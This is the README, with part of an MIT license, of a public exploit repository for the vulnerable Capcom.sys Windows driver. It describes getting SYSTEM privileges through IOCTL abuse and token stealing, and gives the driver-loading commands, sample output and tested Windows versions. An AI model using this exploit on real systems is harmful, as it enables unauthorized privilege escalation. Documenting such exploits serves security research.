NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ExploitCapcom 2 | ============== 3 | 4 | 5 | Description 6 | ------------ 7 | 8 | This is a standalone exploit for a vulnerable feature in Capcom.sys. The feature is exposed through IOCTL and to execute an arbitrary user supplied function pointer with disabling SMEP. This exploit simply abuses the feature to perform token stealing to get the SYSTEM privileges, and then launches the command prompt with the elevated privilege. 9 | 10 | For more details, see: 11 | - https://github.com/rapid7/metasploit-framework/pull/7363 12 | 13 | 14 | Usage 15 | ------ 16 | 17 | Load the Capcom.sys first, then execute this exploit. 18 | 19 | >sc create Capcom type= kernel binPath= C:\Users\user\Desktop\Capcom.sys 20 | >sc start Capcom 21 | 22 | >ExploitCapcom.exe 23 | [*] Capcom.sys exploit 24 | [*] Capcom.sys handle was obtained as 0000000000000070 25 | [*] Shellcode was placed at 00000288427B0008 26 | [+] Shellcode was executed 27 | [+] Token stealing was successful 28 | [+] The SYSTEM shell was launched 29 | [*] Press any key to exit this program 30 | 31 | You will see a new console running with the SYSTEM privileges. 32 | 33 | ![win10_demo](/img/win10_demo.png) 34 | 35 | 36 | Tested Platforms 37 | ----------------- 38 | - Capcom.sys (SHA1: c1d5cf8c43e7679b782630e93f5e6420ca1749a7) 39 | - Windows 7 x64 SP1 with the Guest privileges 40 | - Windows 10 x64 Build 19041 (20H1) with the Guest privileges 41 | 42 | Note: When Driver Verifier is enabled on Windows 10 20H2 (Build 19042) or later, use the `--mitigatedv` flag, e.g, `ExploitCapcom.exe --mitigatedv`. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) and [PR #4](https://github.com/tandasat/ExploitCapcom/pull/4) for more details. 43 | 44 | 45 | License 46 | -------- 47 | This software is released under the MIT License, see LICENSE. 48 | -------------------------------------------------------------------------------- /img/win10_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tandasat/ExploitCapcom/a2670ae5f52c1b2334b57d9af48c6cc59fc7d0c3/img/win10_demo.png --------------------------------------------------------------------------------